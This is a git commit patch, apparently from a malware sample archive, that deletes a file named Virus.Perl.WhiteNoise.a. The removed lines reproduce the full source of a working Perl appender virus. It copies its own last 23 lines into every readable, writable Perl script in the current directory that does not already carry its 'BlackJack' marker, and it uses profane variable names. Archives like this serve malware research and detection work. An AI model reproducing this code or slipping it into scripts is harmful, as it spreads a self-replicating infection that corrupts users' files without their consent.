From ace9e7415aa6b8477e0e22ada6e82edb08eaa487 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:41:00 -0600
Subject: [PATCH] Delete Virus.Perl.WhiteNoise.a

na
---
 Perl/Virus.Perl.WhiteNoise.a | 23 -----------------------
 1 file changed, 23 deletions(-)
 delete mode 100644 Perl/Virus.Perl.WhiteNoise.a

diff --git a/Perl/Virus.Perl.WhiteNoise.a b/Perl/Virus.Perl.WhiteNoise.a
deleted file mode 100644
index 06a74cf0..00000000
--- a/Perl/Virus.Perl.WhiteNoise.a
+++ /dev/null
@@ -1,23 +0,0 @@
-open(File,$0);
-@Vir=<File>;
-#BlackJack
-@Virus=@Vir[-23...-1];
-close(File);
-foreach $FileName (<*>)
-{
-if ((-r $FileName) && (-w $FileName) && (-f $FileName))
-{
-open(fuck, "$FileName");
-@aFucks=<fuck>;
-close(fuck);
-if ((@aFucks[0] =~ "perl") || (@aFucks[1] =~ "perl"))
-{
-if ( not (@aFucks[-21] =~ "BlackJack"))
-{
-open(fuck, ">>$FileName");
-print fuck @Virus;
-close(fuck);
-}
-}
-}
-}